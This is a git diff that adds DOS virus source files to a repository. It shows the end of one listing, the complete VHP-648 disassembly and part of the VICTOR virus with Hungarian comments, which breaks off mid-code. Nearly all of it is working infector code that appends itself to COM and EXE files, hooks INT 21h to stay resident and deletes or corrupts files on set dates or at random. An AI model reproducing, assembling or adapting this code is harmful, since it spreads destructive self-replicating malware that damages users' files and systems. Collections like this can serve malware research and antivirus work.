+fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file: + +bad_jmp db 0EA,0Bh,2,13,58 +enddata label byte + +code ends + end start + \ No newline at end of file diff --git a/v/VHP-648.ASM b/v/VHP-648.ASM new file mode 100755 index 0000000..59911d2 --- /dev/null +++ b/v/VHP-648.ASM @@ -0,0 +1,331 @@ + name Virus + title Disassembly listing of the VHP-648 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 +environ equ 2C + +start: + jmp virus + +message db 'Hello, world!$' + + mov ah,9 + mov dx,offset message + int 21 + int 20 + +virus: + push cx ;Save CX + + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ; before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov word ptr [si+0],bx ;dtaadr + mov word ptr [si+2],es + pop es ;Restore ES + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + mov di,0 +n_00015A: ;Search 'PATH=' in the environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repne scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+16],di ;Save 'PATH' offset in poffs + mov di,si + add di,fname-data ;Point SI & DI at '=' sign + mov bx,si ;Point BX at data area + add si,fname-data + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+16],6C ;poffs + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+16] ;poffs + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + mov si,0 +n_0001B0: + pop bx + pop ds + mov [bx+16],si ;poffs + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+18],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cx,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cx,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+75] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + cmp [si+79],64000d ;Is file size greather than 64,000 bytes? + ja findnext ;If so, search for next file + cmp word ptr [si+79],10d ;Is file size less than 10 bytes? + jb findnext ;If so, search for next file + + mov di,[si+18] ;eqoffs + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+8],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + +;The next `db's are there because MASM can't assemble +; the instruction `and cx,0FFFE' correctly (the fool!): + + db 081,0E1,0FE,0FF +; and cx,not 1 ;Turn off Read Only flag + mov dx,fname-data + add dx,si + int 21 + + mov ax,3D02 ;Open file with Read/Write access + mov dx,fname-data + add dx,si + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+4],cx ;Save time in ftime + mov [si+6],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + +;If so, destroy file (don't contaminate). Now this code is disabled. + + jmp short n_000266 ;CHANGED. Was jnz here + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + mov cx,0 ;0 bytes from end + mov dx,0 + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer + sub ax,3 ;Subtract 3 from it to get real code size + mov [si+14d],ax ;Save result in filloc + add cx,data-(virus-100) + mov di,si + sub di,data-modify ;A little self-modification + mov [di],cx + + mov ah,40 ;Write to file handle + mov cx,enddata-virus ;Virus code length as bytes to be written + mov dx,si + sub dx,data-virus ;Now DX points at virus label + int 21 + jc oldtime ;Exit on error + cmp ax,enddata-virus ;Are all bytes written? + jne oldtime ;Exit if not + + mov ax,4200 ;LSEEK from the beginning of the file + mov cx,0 ;Just at the file beginning + mov dx,0 + int 21 + jc oldtime ;Exit on error + +;Rewrite the first instruction of the file with a jump to the virus code: + + mov ah,40 ;Write to file handle + mov cx,3 ;3 bytes to write + mov dx,si + add dx,newjmp-data ;Write THESE bytes + int 21 + +oldtime: + mov dx,[si+6] ;Restore file date + mov cx,[si+4] ; and time + +;And these again are due to the MASM 5.0 foolness: + + db 081,0E1,0E0,0FF + db 081,0C9,01F,000 +; and cx,not 11111b +; or cx,11111b ;Set seconds to 62 (?!) + + mov ax,5701 ;Set file date & time + int 21 + mov ah,3E ;Close file handle + int 21 + +oldattr: + mov ax,4301 ;Set file attributes + mov cx,[si+8] ;They were saved in fattrib + mov dx,fname-data + add dx,si + int 21 + +olddta: + push ds ;Save DS + mov ah,1A ;Set DTA + mov dx,[si+0] ;Restore saved DTA + mov ds,[si+2] + int 21 + pop ds ;Restore DS + +exit: + pop cx ;Restore CX + xor ax,ax ;Clear registers + xor bx,bx + xor dx,dx + xor si,si + mov di,100 ;Jump to CS:100 + push di ; by doing funny RET + xor di,di + ret -1 + +data label byte ;Data section +dtaaddr dd ? ;Disk Transfer Address +ftime dw ? ;File date +fdate dw ? ;File time +fattrib dw ? ;File attribute +saveins db 0EBh,0Fh,90 ;Original first 3 bytes +newjmp db 0E9 ;Code of jmp instruction +filloc dw ? ;File pointer is saved here +allcom db '*.COM',0 ;Filespec to search for +poffs dw ? ;Address of 'PATH' string +eqoffs dw ? ;Address of '=' sign +pathstr db 'PATH=' +fname db 40 dup (' ') ;Path name to search for + +;Disk Transfer Address for Find First / Find Next: + +mydta label byte +drive db ? ;Drive to search for +pattern db 13d dup (?) ;Search pattern +reserve db 7 dup (?) ;Not used +attrib db ? ;File attribute +time dw ? ;File time +date dw ? ;File date +fsize dd ? ;File size +namez db 13d dup (?) ;File name found + +;This replaces the first instruction of a destroyed file: + +bad_jmp db 0EA,0Bh,2,13,58 +enddata label byte + +code ends + end start + \ No newline at end of file diff --git a/v/VICTOR.ASM b/v/VICTOR.ASM new file mode 100755 index 0000000..e0d0189 --- /dev/null +++ b/v/VICTOR.ASM @@ -0,0 +1,889 @@ +;************************************************ +;* * +;* VICTOR V.1.0 * +;* The incredible high performance virus * +;* Length #98A bytes * +;* * +;************************************************ +; +; 6 = bunteto sys file's time +; 8 = bunteto sys file's date +; 3f = Loaded .EXE header E... offset SS +; 41 = value SP +; 43 = chksum +; 45 = value IP +; 47 = offset CS +; 49 = SS init addr (relative to 0) +; 4B = SP init addr +; 4F = .EXE start point ofs (relative to 0) +; 51 = .EXE start point seg +; 53 = .exe size$ - header length +; 59 = .EXE file logikai merete /felkerekitve egy $ al, $ hatar/ +; 5B = --""-- +; 5D = .exe size length mod 512 +; 5F = .exe size length div 512 +; 61 = Loaded .EXE header length $ mod 512 +; 63 = PSP seg +; 65 = psp seg +; 72 = ido tarolohely hi=sec, lo=1/100 sec +; B 74 = jelzo a bunteto rendszerben talalt file 1=COM,0=EXE +; 75 = a bunteto rendszerben a talalt file attributuma +; 77 = DOS fatal error ofs +; 79 = DOS fatal error seg +; 7B = DTA ofs +; 7D = DTA seg +; 7F = PSP seg +; B 81 = A sajat file f9=.EXE/f8=.COM (default) +; 82 = INT_21 ofs +; 84 = INT_21 seg +; 86 = az FFFF funkciora dos-tol visszakapott ertek +; 88 = seg PSP:100 / PSP +; 8C = env-en beluli offset sajat nev +; 8E = SS save area +; 90 = SP save area +; 92 +; | Parameter Block for Load +; 9E +; B A2 = INT_21 second +; B A3 = INT_21 minute +; A4 = INT_21 SS save +; A6 = INT_21 SP save +; A8 = flag 1=child process in action 0=foprocess +; A9 = INT_21 original AX +; B B1 = idopont flag Pentek 9,11,13,15 idopontokban 1 /0 +; B B2 = day of week (0=sun ... 6=sat) +; B BA = f8 (default .COM file) f9=exe +; +XSEG SEGMENT + ASSUME CS:XSEG +XPROC PROC FAR + CALL L00B4 ;eloszor egy jmp x-el a virus indul el + db ?,?,? ;a program elso 3 byte-ja + db ? dup (?) ;adatterulet +L00B4: POP SI + SUB SI,3 + CLI + CLD + CLC + JC L00EB + PUSH SI + ADD SI,3 + CLD + MOV DI,100H ;restauracio + MOVSW + MOVSB + POP SI + MOV AX,CS + MOV BX,AX + MOV CL,4 + SHR SI,CL + ADD AX,SI ;ax=virus kezdet szegmens + PUSH AX + MOV AX,0D8H + PUSH AX + DB 0CBH ;RETF +;cont... + MOV CS:[7FH],BX ;eredeti PSP addr + MOV CS:[63H],BX + MOV AX,CS + MOV DS,AX + MOV ES,AX ;atteres a virus szegmensre + JMP L010A +;L00EB: +; MOV CS:[0063H],DS +; MOV AX,CS +; MOV DS,AX +; MOV ES,AX +; MOV AX,WORD PTR DS:[0063H] +; ADD AX,0010H +; MOV WORD PTR DS:[0065H],AX +; MOV SI,003FH +; MOV DI,0049H +; MOV CX,0005H +; MOVSW +; + +; +; A virus ellenorzi a DOS verziot, ha ez nem megfelelo _exec. +; Ha a virus meg nincs a memoriaban _copy0 +; Ha mar bent van _exec +; +L010A: MOV AL,DS:[00BAH] + MOV DS:[0081H],AL + MOV AH,30H ;DOS version + INT 21H + CMP AL,3 + JZ vers_ok + MOV CX,0FEC1H + MOV DS:[0086H],CX + JMP _exec +vers_ok:MOV AX,0FFFFH ;Mar a memoriaban van ? + MOV BX,0FF0H + INT 21H + MOV DS:[0086H],CX + CMP CX,0FEC1H + JNZ _copy0 + JMP _exec +; +; _copy0: a virus elhelyezese a memoriaban +; +; A virus meg nincs a memoriaban. +; Megkeresi a saja nevet a kesobbieknek es megnezi hogy sajat maga elerheto-e. +; A memoriablokkja elejere masolja a virust .COM, es .EXE file-oknak +; megfeleloen. Ezek utan _exec. +; +_copy0: + PUSH ES + MOV AX,DS:[063H] ;A program ENV-je + MOV ES,AX + MOV AX,ES:[02CH] + MOV DS:[8AH],AX + PUSH DS + MOV AX,DS:[8AH] + MOV DS,AX + MOV ES,AX + XOR DI,DI + MOV AL,1 + MOV CX,01F4H + REPNE SCASB + INC DI + POP DS + POP ES + MOV DS:[8CH],DI ;Sajat fertozott programom neve + PUSH DS + MOV DX,DI + MOV AX,DS:[008AH] + MOV DS,AX + MOV AX,3D00H ;Open File = Sajat magam + INT 21H + POP DS + JNC L0175 + MOV DS:[86H],0FEC1H + JMP _exec +L0175: MOV BX,AX ;Close File + MOV AH,3EH + INT 21H + CMP BYTE PTR DS:[081H],0F9H + JZ exe_file ;Az exe-t 0-ra kell masolni + MOV AX,DS:[007FH] + MOV DS:[0065],AX + MOV ES,AX + ADD AX,0010H + MOV WORD PTR DS:[0088H],AX ;ES=PSP:100 + XOR SI,SI + MOV DI,0100H ;eddig a virus a mem vegen volt + MOV CX,098AH ;Atmasolja a virust PSP:100 ra + REP MOVSB + PUSH AX + MOV AX,01B7H + PUSH AX + DB 0CBH ;A vezerles a PSP:100 ban!!! to:1 +; +; .EXE program eseten nem kell lehet 100H ra tenni. +; +exe_file: + MOV AX,DS:[0065H] ;normal psp: + MOV ES,AX + MOV DS:[0088H],AX + XOR SI,SI + XOR DI,DI + MOV CX,098AH ;A virus szegmensbol a psp: re + REP MOVSB ; atmasolja a virust. + PUSH AX + MOV AX,01B7H + PUSH AX + DB 0CBH; RETF +; cont from 1 +; +; _exec: blow/install/run_original +; +; 1. Esetleges kartekonykodas. +; 2. a, Ha a virus mar a memoriaban van, lefuttatja az +; eredeti programot. /ez a tarban van, csupan a vezerlest kell raadni./ +; b, Ha meg nincs a memoriaban, akkor atveszi a rendszertol +; a vezerlest. /ezutan barmilyen DOS fn-kerelmet ellenorizhet, vagy +; tetszese szerint hatasaban megvaltoztathat./ Ennel a megvalositasnal +; a virus felulirta a betoltott programot, hogy a memoriablokk tetejen +; lehessen. Igy kenytelen a dos program betolto-lefuttato funkciojat +; hasznalni, hogy lefuttassa a programot. A vezerlest visszakapva magat +; rezidensse teszi magat, es kilep a DOS-ba /KEEP funkcio./ +; +; /a hasznalata elott szukseges _copy0, ha meg nem rezidens a virus./ +; +; + MOV AX,CS ;cs=psp:100 + MOV DS,AX + MOV ES,AX + MOV SS,AX + MOV SP,08F3H +_exec: MOV AH,2CH ;Get Time + INT 21H + MOV DS:[0072H],DX ;seconds/hundredths + MOV AH,2CH + INT 21H + MOV CL,DL + AND CL,0FH + ROL DS:[0072H],CL + TEST WORD PTR DS:[0072H],1 ;Veletlen esemeny + JE L01E2 + JMP L01E5 +L01E2: CALL _working ;???? kartekonykodhat... +L01E5: CMP WORD PTR DS:[86H],0FEC1H;Meg nincs installalva de _copy0 volt + JNZ _inst + JMP run_prg ;a program tarban van, ugorj ra! +_inst: MOV DX,DS:[0088H] ;seg(PSP:100) - PSP = 10 + SUB DX,DS:[0065H] + MOV BX,098AH ;Virus length in paragraphs + MOV CL,04H + SHR BX,CL + INC BX + ADD DX,BX + ADD DX,10H + MOV DS:[00A0H],DX + PUSH ES + MOV ES,DS:[0063H] ;A sajat memoriablokkom merete csokken, + MOV BX,DS:[00A0H] ; pont annyi lesz, ahova befer a virus + MOV AX,4A00H ; PSP vel egyutt meg + $10 + INT 21H ;/mivel bemasoltuk, ez ott van/ + POP ES + PUSH ES + MOV AX,3521H ;Get INT_21 vector + INT 21H + MOV DS:[0082H],BX + MOV DS:[0084H],ES + POP ES + MOV DX,06B3H ;Set INT_21 vector + MOV AX,2521H + INT 21H + MOV BYTE PTR DS:[00A8H],1 ;=child process flag + PUSH ES ;Prepare for Load/Exec self + PUSH DS + MOV DS:[008EH],SS + MOV DS:[0090H],SP + MOV AX,WORD PTR DS:[008AH] ;Az L/E egy uj memoriablokkot hoz + MOV WORD PTR DS:[0092H],AX ;letre /a virusprogram felett/ + MOV AX,WORD PTR DS:[0063H] ;exitnel csak az altala lefoglalt + MOV WORD PTR DS:[0096H],AX ;blokk szabadul fel, a virus bent + MOV WORD PTR DS:[009AH],AX ;marad tovabbra is. + MOV WORD PTR DS:[009EH],AX + MOV BX,0092H + MOV DX,DS:[008CH] + MOV AX,WORD PTR DS:[008AH] + MOV DS,AX + MOV AX,4B00H + INT 21H + MOV AX,WORD PTR CS:[008EH] ;A kilepeskor felszabadult a futtato + MOV SS,AX ;blokk, es visszakaptam a vezerlest. + MOV SP,CS:[0090H] + POP DS + POP ES + MOV BYTE PTR DS:[00A8H],0 ;Process flag + MOV DX,DS:[00A0H] + MOV AX,3100H ;Terminate process and remain resident + INT 21H ;(KEEP) +; Akkor hajtodik vegre, ha a virus mar bent van a memoriaban +run_prg: + CMP BYTE PTR CS:[81H],0F8H ;.COM program + JNZ run_exe + JMP run_com +run_exe:MOV DX,DS:[0065H] ;PSP + ADD DS:[0051H],DX ;Inditasi szegmens + MOV AX,WORD PTR DS:[0049H] ;SS relative + ADD AX,DX ;Setup Stack + MOV SS,AX + MOV SP,DS:[004BH] + MOV AX,WORD PTR DS:[0063H] ;Default PSP + MOV DS,AX + MOV ES,AX + STI + JMP DWORD PTR CS:[004FH] ;EXE Start point +; .COM program kornyezet beallitas, es lefuttatas PSP:100 +run_com:MOV AX,WORD PTR DS:[007FH] ;Default PSP + MOV DS,AX + MOV ES,AX + STI + PUSH AX + MOV AX,0100H + PUSH AX + DB 0CBH; RETF +; +; Kartekony: letorol egy par file-t, vagy fertoz +; +_working: + MOV CX,DS:[0072H] ;Veletlen kezdoertek 1..4 ciklus + AND CX,3 + INC CX +delet: PUSH CX + CALL L02C5 + POP CX + LOOP delet + DB 0C3H; RET +; +L02C5: MOV AH,2AH ;Get Date + INT 21H + MOV DS:[00B2H],AL ;Day of Week + PUSH ES + MOV AH,2FH ;Get DTA + INT 21H + MOV DS:[007BH],BX + MOV DS:[007DH],ES + POP ES + MOV DX,0014H ;Set DTA + MOV AH,1AH + INT 21H + PUSH ES + MOV AX,3524H ;Get Dos Fatal Error vector + INT 21H + MOV DS:[0077H],BX + MOV DS:[0079H],ES + POP ES + MOV DX,00B3H + MOV AX,2524H ;Set Fatal Error to : IRET + INT 21H + MOV CX,0FFE3H + MOV DX,000AH ;Search for first :*.* + MOV AH,4EH + INT 21H + JNC _kezd + JMP io_err ; reset DTA, fatal error, RET +_kezd: MOV AH,2CH ;Set randomizer + INT 21H + MOV DS:[0072H],DX + MOV AH,2CH + INT 21H + MOV CL,DL + AND CL,0FH + ROL DS:[0072H],CL + MOV AH,2CH ;Get Time + INT 21H + XOR DS:[0072H],DX + MOV BYTE PTR DS:[00B1H],0 ;idopont-flag + CMP BYTE PTR DS:[00B2H],3 ;Milyen nap van? + JNZ no_date + CMP CH,9 ;Pentek 9h,11h,13h,15h-nal + JZ kill ; kimeletlenul letorol fileokat + CMP CH,0BH + JZ kill ;maskor neha megnezi hogy com/exe-e. + CMP CH,0DH + JZ kill + CMP CH,0FH + JNZ no_date +kill: MOV BYTE PTR DS:[00B1H],1 ;A datum megfelelo +no_date:TEST WORD PTR DS:[0072H],30H + JNZ _1 + JMP d_next +_1: CMP BYTE PTR DS:[00B1H],1 + JNZ look_run + MOV DX,0032H ;Megfelel az idopont, es sajnos... + MOV CX,0020H + MOV AX,4301H + INT 21H ;change file mode to normal + JNB _del + JMP io_err +_del: MOV DX,0032H ;UNLINK file + MOV AH,41H + INT 21H + JMP io_err +; +; Ha futtathato .COM v .EXE a talalt file akkor megfertozi ha meg nincs, +; egyebkent keres egy masik file-t. /1 lehetoseget ad/ +; +look_run: + MOV DI,0032H ;A penteki kritikus idon kivul + XOR AL,AL ;akar fertozhet is + MOV CX,003FH + REPNE SCASB + SUB DI,+04H + MOV BP,DI + MOV SI,DI + MOV CX,0003H ;ez egy .COM volt ??? + MOV DI,000EH + REPE CMPSB + JZ _dcom + MOV SI,BP + MOV CX,0003H ;vagy egy .EXE ??? + MOV DI,0011H + CMPSB + JZ _dexe + JMP d_next ;nem futtathato file, ujat +_dcom: MOV BYTE PTR DS:[0074H],1 + JMP _d +_dexe: MOV BYTE PTR DS:[0074H],0 +_d: MOV DX,0032H ;Get file attr + MOV AX,4300H + INT 21H + JNB _2 + JMP io_err +_2: MOV DS:[0075H],CX + MOV DX,0032H ;Set normal attr + MOV CX,0020H + MOV AX,4301H + INT 21H + JNC L03CD + JMP io_err +L03CD: MOV DX,0032H ;Open file + MOV AX,3D02H + INT 21H + JNB L03DA + JMP io_err +L03DA: MOV BX,AX + MOV AX,5700H ;Get file date/time + INT 21H ;a fertozott fileok ideje oszthato 8-al + JNB _3 + JMP io_err +_3: MOV DS:[0006H],CX + MOV DS:[0008H],DX + TEST CX,0007H + JZ dft_ok + JMP fertoz ;ha nem oszthato 8-al, nincs fertozve +dft_ok: TEST WORD PTR DS:[72H],43H ;meg bizonytalankodik + JZ d_mehet + JMP d_clnxt +d_mehet:MOV CX,0FFFFH ;LSEEK EOF - 6 + MOV DX,0FFFAH + MOV AX,4202H + INT 21H + JNB dls_ok + JMP io_err +dls_ok: MOV CX,0006H ;Read file's last 6 byte + MOV DX,00ABH + MOV AH,3FH + INT 21H + JNC drd_ok + JMP io_err +drd_ok: MOV CX,0003H ;megegyezik valamivel + MOV SI,0984H ;/mar fertozott/ + MOV DI,00ABH + REPE CMPSW + JZ d_clnxt + JMP fertoz +d_clnxt: ;Close and Next + MOV AH,3EH + INT 21H + JNB d_attrs + JMP io_err +dattrs: MOV CX,DS:[0075H] ;Reset attr + MOV DX,0032H + MOV AX,4301H + INT 21H + JNC d_next + JMP io_err +; +; Probal ujabb file-t keresni +; +d_next: TEST WORD PTR DS:[0072H],2CH ;meg egy lehetosege van + JNZ _dsnext + JMP io_err +_dsnext:MOV AH,4FH + INT 21H + JNC _dnxtok + JMP io_err +_dnxtok:JMP _kezd +; +; A fertozott file jellemzoi: /.COM v .EXE / +; +; Csak olyan file-okat fertoz meg melyek hossza nagyobb a virusenal. +; A tul nagy .COM fileokat nem bantja. +; File ido oszthato 8-al +; File vegen levo virus azonosito (6 byte ea80492502. ) +; +fertoz: XOR CX,CX + XOR DX,DX + MOV AX,4202H ;LSEEK eof + INT 21H + JNC _4 + JMP io_err +_4: AND DX,DX + JNZ d_selct + CMP AX,098AH ;csak a virusnal nagyobbak jok + JNC d_selct + JMP d_clnxt +d_selct:CMP BYTE PTR DS:[0074H],1 + JNZ df_exe + JMP df_com +; +; .EXE file megfertozese +; +; 1. Beolvassa a File hosszat mod 512 (+2) es a tobbi informaciot +; 2. A file vegere /size felkerekitett $, $ hatar/ felirja a virus-testet +; 3. Kiszamitja a kod hosszat = eredeti_file_size$ - header_size , +; es ez lesz erteke az uj +SS,+CS nek, IP=0. +; /az eredeti exe kod moge, pont a virusra mutat/ +; 4. Felirja az uj Header informaciot. +; 5. Megallapitja az uj filehossz div,mod 512-t +; 6. Felirja a headerbe (+2) +; 7. Visszaallitja a file-idot (div 8) es a file attributumot +; +df_exe: + MOV BYTE PTR CS:[BAH],0F9H ;.EXE file + XOR CX,CX + MOV DX,0008H + MOV AX,4200H ;LSEEK 8: Size of header $ + INT 21H + JNB _5 + JMP io_err +_5: MOV CX,0002H ;READ Size of header mod 512 + MOV DX,0061H + MOV AH,3FH + INT 21H + JNC _6 + JMP io_err +_6: XOR CX,CX ;LSEEK E: Offset of SS + MOV DX,000EH + MOV AX,4200H + INT 21H + JNC _7 + JMP io_err +_7: MOV CX,000AH ;Read header information + MOV DX,003FH + MOV AH,3FH + INT 21H + JNC _8 + JMP io_err +_8: XOR CX,CX + XOR DX,DX + MOV AX,4202H ;LSEEK eof + INT 21H + JNB _9 + JMP io_err +_9: MOV CX,DX + MOV DX,AX ;a meret felkerekitve egy $-al + ADD DX,+10H ;mindig $ hatar + ADC CX,+00H + AND DX,-10H + MOV AX,4200H + INT 21H ;Elmegy a file vegere /maga szerint/ + JNB _10 + JMP io_err +_10: MOV DS:[005BH],DX + MOV DS:[0059H],AX + MOV CX,098AH + XOR DX,DX ;Felirja a virus-testet + MOV AH,40H + INT 21H + JNB L0501 + JMP io_err +L0501: CMP AX,CX + JE L0508 + JMP io_err +L0508: MOV DX,DS:[005BH] ;size HI max. 000x x=0..f hexad. + MOV CL,0CH + SHL DX,CL + MOV AX,DS:[0059H] ;size LO + MOV CL,04H + SHR AX,CL + OR DX,AX + SUB DX,DS:[0061H] + MOV DS:[005BH],DX ;size $ - header_length = code_length$ + MOV DS:[0053H],DX + MOV WORD PTR DS:[0059H],0 + XOR CX,CX + MOV DX,000EH ;LSEEK E: + MOV AX,4200H + INT 21H + JNB L053A + JMP io_err +L053A: MOV CX,000AH ;WRITE UP new Header Info + MOV DX,0053H ; + MOV AH,40H ; new SS ofs = file moge mutat + INT 21H ; new IP = 0 + JNB L0549 ; new CS ofs = file moge mutat + JMP io_err + NOP +L0549: XOR CX,CX ;LSEEK EOF + XOR DX,DX + MOV AX,4202H + INT 21H + JNB L0557 + JMP io_err + NOP +L0557: ADD AX,01FFH ;Totalsize = exesize + virus + ADC DX,0 ;felkerekiti 512-re + MOV DH,DL + MOV DL,AH ;DX= DL AH + XOR AH,AH + SHR DX,1 ; ez lesz a hanyados + ADC AH,0 + MOV WORD PTR DS:[005DH],AX ; 256/0 maradek + MOV DS:[005FH],DX + XOR CX,CX ;LSEEK 2: size mod 512 + MOV DX,0002H + MOV AX,4200H + INT 21H + JNB L057E + JMP io_err + NOP +L057E: MOV CX,0004H ;WRITE up size mod 512 + MOV DX,005DH ; size div 512 + MOV AH,40H + INT 21H + JNB L058D + JMP SHORT io_err + NOP +L058D: MOV CX,DS:[0006H] ;Set Original file time + MOV DX,DS:[0008H] ;kiveve time oszthato 8-al + AND CX,-08H + MOV AX,5701H + INT 21H + JNB L05A2 + JMP SHORT io_err + NOP +L05A2: MOV AH,3EH ;Close + INT 21H + JNB L05AB + JMP SHORT io_err + NOP +L05AB: MOV CX,DS:[0075H] ;Reset attr + MOV DX,0032H + MOV AX,4301H + INT 21H + JMP io_err +; +; I/O error +; +io_err: PUSH DS + MOV DX,DS:[007BH] + MOV AX,DS:[007DH] + MOV DS,AX ;Reset DTA + MOV AH,1AH + INT 21H + POP DS + PUSH DS + MOV DX,DS:[0077H] + MOV AX,DS:[0079H] ;Reset Fatal Error vector + MOV DS,AX + MOV AX,2524H + INT 21H + POP DS + DB 0C3H; RET +; +; A .COM file megfertozese: +; +; 1. Ellenorzi, hogy nem lesz-e tul nagy a .COM file a virussal egyutt. +; 2. Eltarolja adatteruletere a file elso 3 byte-jat /ezt fogja kicserelni/ +; 3. A file vege utan /felkerekiti egy $-al,mindig $-hatar/ felirja a +; virus-testet. +; 4. A file elejere felirja a JMP v_start utasitast. v_start = filesize + 3 +; 5. Visszaallitja a file-idot azon modositassal, hogy mindig oszthato 8-al +; /ez egy jel amirol gyorsabban ismerheti fel a mar fertozott prg-kat/, +; es az eredeti file-attributumot. +; +df_com: + MOV BYTE PTR CS:[BAH],0F8H ;.COM file + XOR DX,DX + XOR CX,CX + MOV AX,4202H ;LSEEK EOF + INT 21H + JNB _c1 + JMP SHORT io_err +_c1: MOV CX,0FC80H ;nem tul nagy-e a file (max 64K COM) + SUB CX,098AH + CMP AX,CX + JB _csoz + JMP d_clnxt +_csok: XOR DX,DX + XOR CX,CX + MOV AX,4200H ;LSEEK START + INT 21H + JNB _crd3 + JMP SHORT io_err +_crd3: MOV CX,0003H ;READ FILE'S FIRST 3 byte + MOV DX,0003H ;(ezt fogja lecserelni az ugrasra) + MOV AH,3FH ;ds:3 ra azaz a virustestbe + INT 21H + JNB _crdok + JMP SHORT io_err +_crdok: CMP AX,CX + JZ _crdok1 + JMP SHORT io_err +_crdok1:XOR CX,CX ;LSEEK EOF + XOR DX,DX + MOV AX,4202H + INT 21H + JNC _cls1ok + JMP io_err +_cls1ok:MOV BP,AX ; (size + 10h) AND -10h = + ADD BP,+10H + AND BP,-10H ; felkerekiti egy $-al a size-t + XOR CX,CX + MOV DX,BP + MOV AX,4200H ; es elmegy ide /over EOF/ + INT 21H + JNB _covr + JMP io_err +_covr: MOV CX,098AH ;WRITE felirja a virustestet + XOR DX,DX + MOV AH,40H + INT 21H + JNB _cwrok + JMP io_err +_cwrok: CMP AX,CX + JZ _cwr1ok + JMP io_err +_cwrok1:XOR DX,DX ;LSEEK START + XOR CX,CX + MOV AX,4200H + INT 21H + JNB L0664 + JMP io_err +L0664: MOV BYTE PTR DS:[0003H],0E9H + SUB BP,+03H ;WRITE jmp virus (size+3) + MOV DS:[0004H],BP + MOV CX,0003H + MOV DX,0003H + MOV AH,40H + INT 21H + JNB L067F + JMP io_err +L067F: CMP AX,CX + JE L0686 + JMP io_err +L0686: MOV CX,DS:[0006H] ;Set file Date/Time + MOV DX,DS:[0008H] ;A FERTOZOTT FILE IDEJE OSZTHATO 8-AL + AND CX,-08H ;CX = xxxxx000 + MOV AX,5701H + INT 21H + JNB L069B + JMP io_err +L069B: MOV AH,3EH ;Close file + INT 21H + JNB L06A4 + JMP io_err +L06A4: MOV CX,DS:[0075H] ;Set original file attr + MOV DX,0032H + MOV AX,4301H + INT 21H + JMP io_err ;befejezodott a fertozes + +;******************************* +;* * +;* A rezidens INT_21 funkcio * +;* * +;******************************* + + CMP AX,0FFFFH ;virus funkcio: install_stat + JNE L06C2 + CMP BX,0FF0H + JNE L06C2 + MOV CX,0FEC1H ;visszaadja az install-kodot + IRET +L06C2: CMP AH,3EH ;CLOSE + JE L0710 + CMP AH,41H ;UNLINK + JE L0710 + CMP AH,3CH ;CREAT + JE L0710 + CMP AH,42H ;LSEEK + JE L0710 + CMP AH,43H ;CHMOD + JE L0710 + CMP AH,4BH ;L/E + JE L0710 + CMP AH,4EH ;FFIRST + JE L0710 + CMP AH,4FH ;FNEXT + JE L0710 + CMP AH,5BH ;CREATE + JE L0710 + CMP AH,39H ;MKDIR + JE L0710 + CMP AH,3AH ;RMDIR + JE L0710 + CMP AH,3BH ;CHDIR + JE L0710 + CMP AH,3DH ;OPEN + JE L0710 + CMP AH,3FH ;READ + JE L0710 + CMP AH,40H ;WRITE except BX=1 stdout + JE L0710 + JMP 